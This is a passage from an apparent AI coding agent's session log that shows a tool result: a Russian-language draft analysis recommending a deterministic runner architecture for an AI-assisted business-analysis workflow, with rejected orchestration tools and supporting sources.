\u0447\u0430\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u043a\u0430\u0440\u0442\u0430-\u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439) |\\n323\\t| 1.6 | \u041e\u0434\u043d\u043e \u044f\u0434\u0440\u043e runner \u0432 Source \u0434\u043b\u044f \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432; \u0432 Cline \u2014 \u043f\u043e \u0436\u0435\u043b\u0430\u043d\u0438\u044e MCP-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 `next` \u0438 hook, \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u044e\u0449\u0438\u0439 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 `runs/` \u043c\u0438\u043c\u043e runner | [\u0413-38](#\u0433-38)\u2026[\u0413-40](#\u0433-40) |\\n324\\t\\n325\\t**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435.**\\n326\\t\u041f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432\u0441\u0451, \u0447\u0442\u043e \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442: \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440, \u0441\u0445\u0435\u043c\u044b, \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b,\\n327\\t\u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432 ([\u0413-35](#\u0433-35)), \u0442\u0435\u0441\u0442\u044b runner. \u041d\u043e\u0432\u043e\u0439\\n328\\t\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434 1 \u0438 2\\n329\\t\u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u044b: \u0432 \u0441\u0440\u0435\u0434\u0435 1 \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0437 \u043a\u043e\u0434\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e API \u043d\u0435\u0442, \u0438\\n330\\trunner \u0432\u0435\u0434\u0451\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a \u043f\u0438\u0448\u0435\u0442 \u0430\u0433\u0435\u043d\u0442.\\n331\\t\\n332\\t**\u0427\u0435\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0435 \u0434\u0430\u0451\u0442.** \u0411\u0410 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 \u0438 \u0441\u0430\u043c\\n333\\t\u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a. \u041e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u0435 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435,\\n334\\t\u0431\u0435\u0437 \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0439. \u042d\u0442\u043e \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u043c\u0435\u0441\u0442\u0430, \u0430 \u043d\u0435 \u0434\u0435\u0444\u0435\u043a\u0442 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n335\\t\\n336\\t**\u041f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.** \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u0430, \u0435\u0441\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 10 \u0437\u0430\u0434\u0430\u0447\\n337\\t\u043f\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044e ADR-018 \u0434\u043e\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u043d\u0438\u0436\u0435 95% \u0438\u043b\u0438\\n338\\t\u043f\u043e \u0436\u0443\u0440\u043d\u0430\u043b\u0443 runner \u0411\u0410 \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435.\\n339\\t\\n340\\t## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2: \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 4\\n341\\t\\n342\\t**\u0421\u0443\u0442\u044c.** \u0422\u043e \u0436\u0435 \u044f\u0434\u0440\u043e runner \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u0430. \u041e\u043d\u0430 \u0441\u0430\u043c\u0430 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\\n343\\t\u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430 \u0448\u0430\u0433\u0435, \u0436\u0434\u0451\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u0438 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043d\u0443\u0436\u043d\u043e \u0438 \u0445\u0440\u0430\u043d\u0438\u0442 \u0436\u0443\u0440\u043d\u0430\u043b\\n344\\t\u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e. \u042d\u0442\u043e \u043f\u0440\u044f\u043c\u043e\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435\\n345\\t[ADR-019, \u0441\u0440\u0435\u0434\u0430 4](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L92-L96):\\n346\\t\u00ab\u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0439 runner \u0441 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u043e\u043c BA-\u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0439 \u0432\u043d\u0435\\n347\\t\u043c\u043e\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e tool loop\u00bb.\\n348\\t\\n349\\t| \u0421\u043b\u043e\u0439 | \u0420\u0435\u0448\u0435\u043d\u0438\u0435 | \u041f\u043e\u0447\u0435\u043c\u0443 |\\n350\\t|------|---------|--------|\\n351\\t| \u042f\u0434\u0440\u043e | \u042f\u0434\u0440\u043e runner \u0438\u0437 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 1 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u043d\u0430 FastAPI | \u041e\u0434\u0438\u043d \u043a\u043e\u0434 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 \u0438 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435; \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1 \u2014 \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 |\\n352\\t| \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 | Postgres: \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0438 append-only \u0436\u0443\u0440\u043d\u0430\u043b | `EP-R8`, `EP-R9`; \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 |\\n353\\t| \u041c\u043e\u0434\u0435\u043b\u044c | Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435 | \u041c\u043e\u0434\u0435\u043b\u044c \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a \u0443\u0437\u043b\u0430, \u043d\u043e \u043d\u0435 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0440\u0435\u0431\u0440\u043e |\\n354\\t| \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 | \u041a\u043e\u043d\u0435\u0447\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 approval \u0441 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u043c \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430, \u043a\u0430\u043a \u0444\u0440\u0430\u0437\u0430-\u0432\u044b\u0437\u043e\u0432 \u0441\u0435\u0439\u0447\u0430\u0441 | G-human \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 runner, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c |\\n355\\t| \u0414\u0432\u0438\u0436\u043e\u043a | \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442: \u0432 \u0433\u0440\u0430\u0444\u0435 15 \u0443\u0437\u043b\u043e\u0432. \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 LangGraph (MIT) \u2014 \u043a\u043e\u0433\u0434\u0430 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438 \u0438\u043b\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435 \u0433\u0440\u0430\u0444\u044b. Temporal \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u0431\u043e\u043b\u044c\u0448\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0430\u0443\u0434\u0438\u0442\u0430 | [\u0413-51](#\u0433-51); \u0446\u0435\u043d\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 |\\n356\\t| \u0418\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0411\u0410 | \u0422\u043e\u043d\u043a\u0438\u0439 \u043a\u043b\u0438\u0435\u043d\u0442 \u043a API runner: \u0432\u0435\u0431-\u0447\u0430\u0442 (Open WebUI \u0441 Pipe \u2014 \u0434\u043e 50 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0431\u0435\u0437 \u0441\u043c\u0435\u043d\u044b \u0431\u0440\u0435\u043d\u0434\u0438\u043d\u0433\u0430, [\u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f](https://docs.openwebui.com/license)), \u0431\u043e\u0442 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440\u0430 ([Mattermost](https://docs.mattermost.com/developers/integrate/webhooks/outgoing)) \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0430 \u0438 \u0447\u0430\u0442 n8n | \u0412\u044b\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 \u043a\u0430\u043d\u0430\u043b\u0443; \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043e\u0442 \u0432\u044b\u0431\u043e\u0440\u0430 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 |\\n357\\t| \u0418\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 | \u041f\u043e \u0436\u0435\u043b\u0430\u043d\u0438\u044e n8n (\u0412-7): \u0437\u0430\u0434\u0430\u0447\u0430 \u0432 Jira, \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f, \u0444\u043e\u0440\u043c\u044b, \u0432\u044b\u0437\u043e\u0432 API runner | [\u0413-44](#\u0433-44)\u2026[\u0413-49](#\u0433-49); \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u043a\u043e\u043d\u0442\u0443\u0440 |\\n358\\t| Release | \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 CI gate runtime-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f | ADR-019 |\\n359\\t\\n360\\t**\u0423\u0441\u043b\u043e\u0432\u0438\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430.** \u0421\u0435\u0440\u0432\u0435\u0440 \u043e\u043f\u0440\u0430\u0432\u0434\u0430\u043d, \u043a\u043e\u0433\u0434\u0430 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430,\\n361\\t\u0436\u0443\u0440\u043d\u0430\u043b \u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0441\u0442\u043e\u044f\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0437\u0430\u0442\u0440\u0430\u0442\\n362\\t([ADR-019 L96](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L96)).\\n363\\t\u0414\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043d\u0443\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0442\u0440\u0438 \u0432\u0435\u0449\u0438: \u0434\u043e\u0441\u0442\u0443\u043f \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043a Mango AI\\n364\\t([\u0413-43](#\u0433-43)), \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0418\u0411 \u0438 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435 \u0437\u0435\u0440\u043a\u0430\u043b\u043e \u043e\u0431\u0440\u0430\u0437\u043e\u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432:\\n365\\tDocker Hub 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\u043c\u043e\u0434\u0435\u043b\u0438 \u0438\u043b\u0438 \u0418\u0411 \u043d\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u0443\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u0435. \u0422\u043e\u0433\u0434\u0430\\n371\\t\u0441\u0440\u0435\u0434\u0430 4 \u0441\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043a CI gate \u043f\u043e\u0432\u0435\u0440\u0445 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 1 \u2014 \u044d\u0442\u043e\u0442 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 ADR-019\\n372\\t\u0443\u0436\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442.\\n373\\t\\n374\\t## \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0438 \u0438\u0445 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f\\n375\\t\\n376\\t| \u0412\u0430\u0440\u0438\u0430\u043d\u0442 | \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u044b |\\n377\\t|---------|-----------|----------|\\n378\\t| \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0447\u0435\u0440\u0435\u0437 MCP, skill \u0438\u043b\u0438 workflow \u043a\u043b\u0438\u0435\u043d\u0442\u0430 (\u0412-2) | \u041f\u043e\u0440\u044f\u0434\u043e\u043a \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c; hooks \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u044e\u0442 | [\u0413-37](#\u0433-37)\u2026[\u0413-39](#\u0433-39) |\\n379\\t| n8n \u043a\u0430\u043a \u044f\u0434\u0440\u043e (\u0412-6) | \u0412\u0442\u043e\u0440\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0433\u0440\u0430\u0444\u0430; AI Agent \u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d; \u043d\u0435\u0442 `$ref` \u0432 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u043c \u0432\u044b\u0432\u043e\u0434\u0435; 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\u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 C](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md#L371-L375), [Temporal](https://docs.temporal.io/develop/python/message-passing) |\\n382\\t| Dify, Flowise (\u0412-8) | \u041b\u0438\u0446\u0435\u043d\u0437\u0438\u044f Dify, \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0430 \u0431\u0435\u0437 \u0444\u0430\u0439\u043b\u043e\u0432, Node.js \u0443 Flowise, \u0432\u0442\u043e\u0440\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0433\u0440\u0430\u0444\u0430 | [\u0413-52](#\u0433-52) |\\n383\\t| Windmill, Kestra, Prefect (\u0412-9) | \u041e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0445; \u0444\u043e\u0440\u043c\u044b \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f Windmill \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 Enterprise ([docs](https://www.windmill.dev/docs/flows/flow_approval)); \u0443 Activepieces \u043f\u0430\u0443\u0437\u0430 \u043d\u0435 \u0431\u043e\u043b\u044c\u0448\u0435 30 \u0434\u043d\u0435\u0439 ([limits](https://www.activepieces.com/docs/flows/known-limits)) | \u2014 |\\n384\\t| Camunda 8, Operaton (\u0412-10) | \u041f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f Camunda; Java \u0438 BPMN \u0443 Operaton | [\u0413-53](#\u0433-53) |\\n385\\t\\n386\\t## \u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u0430\u044e\u0449\u0438\u0435 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430\\n387\\t\\n388\\t- **\u0417\u0430 \u00ab\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0432 \u043a\u043e\u0434\u0435, \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430 \u0448\u0430\u0433\u0435\u00bb.** Anthropic: workflow \u0434\u0430\u044e\u0442\\n389\\t  \u00abpredictability and consistency for well-defined tasks\u00bb\\n390\\t  ([Building effective agents](https://www.anthropic.com/engineering/building-effective-agents));\\n391\\t  HumanLayer, \u0444\u0430\u043a\u0442\u043e\u0440 8 \u2014 \u00abOwn your control flow\u00bb\\n392\\t  ([12-factor agents](https://github.com/humanlayer/12-factor-agents));\\n393\\t  LangChain: \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435 \u2014 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0435 workflow \u0438\\n394\\t  \u0430\u0433\u0435\u043d\u0442\u043e\u0432 ([How to think about agent frameworks](https://www.langchain.com/blog/how-to-think-about-agent-frameworks)).\\n395\\t  BA-\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0441 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\u043a\u043b\u0438\u0435\u043d\u0442\u0430.\\n402\\t  \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 n8n ([\u0413-48](#\u0433-48)) \u2014 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0439\\n403\\t  \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438. \u041f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0443\u0437\u043b\u0430 \u043f\u0440\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0438 \u0432\\n404\\t  LangGraph ([\u0413-51](#\u0433-51)) \u2014 \u0434\u0432\u0438\u0436\u043e\u043a \u043d\u0435 \u043e\u0442\u043c\u0435\u043d\u044f\u0435\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a\\n405\\t  \u0438\u0434\u0435\u043c\u043f\u043e\u0442\u0435\u043d\u0442\u043d\u043e\u0441\u0442\u0438. \u041f\u0440\u043e\u0431\u044b `P10`\u2026`P12` \u2014 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 runner \u0442\u043e\u0436\u0435 \u043c\u043e\u0436\u0435\u0442\\n406\\t  \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043b\u043e\u0436\u043d\u043e\u0435 \u043e\u0449\u0443\u0449\u0435\u043d\u0438\u0435 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0438, \u0435\u0441\u043b\u0438 \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e.\\n407\\t\\n408\\t## \u041a\u043e\u0440\u043d\u0435\u0432\u044b\u0435 \u043f\u0440\u0438\u0447\u0438\u043d\u044b: \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\\n409\\t\\n410\\t\u041f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0448\u0435\u0441\u0442\u044c \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0445 \u043f\u0440\u0438\u0447\u0438\u043d. \u0421\u043b\u043e\u0438 1\u20133 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044e\u0442 \u0442\u0440\u0438.\\n411\\t\\n412\\t7. **\u0423 \u0440\u043e\u043b\u0438 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb \u043d\u0435\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430.** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430\u0437\u0432\u0430\u043b\u0430 \u0440\u043e\u043b\u044c, \u043d\u043e\\n413\\t   \u043d\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u0438 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f, \u0430 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `M4` \u0440\u0435\u0448\u0438\u043b \u0432\u043e\u043f\u0440\u043e\u0441 \u043f\u043e\u043a\u0443\u043f\u043a\u0438\"\n[2026-09-29T07:44:39.536Z] [INFO]       }\n[2026-09-29T07:44:39.536Z] [INFO]     ]\n[2026-09-29T07:44:39.536Z] [INFO]   },\n[2026-09-29T07:44:39.536Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:39.536Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:39.536Z] [INFO]   \"uuid\": \"094b1a68-2ad2-40c9-afdb-7c53da4894e1\",\n[2026-09-29T07:44:39.536Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:38.547Z\",\n[2026-09-29T07:44:39.536Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:44:39.536Z] [INFO]     \"type\": \"text\",\n[2026-09-29T07:44:39.536Z] [INFO]     \"file\": {\n[2026-09-29T07:44:39.536Z] [INFO]       \"filePath\": \"/home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/b7ejdco20.txt\",\n[2026-09-29T07:44:39.536Z] [INFO]       \"content\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.1\\ntype: analysis\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615\\\"\\n---\\n\\n# 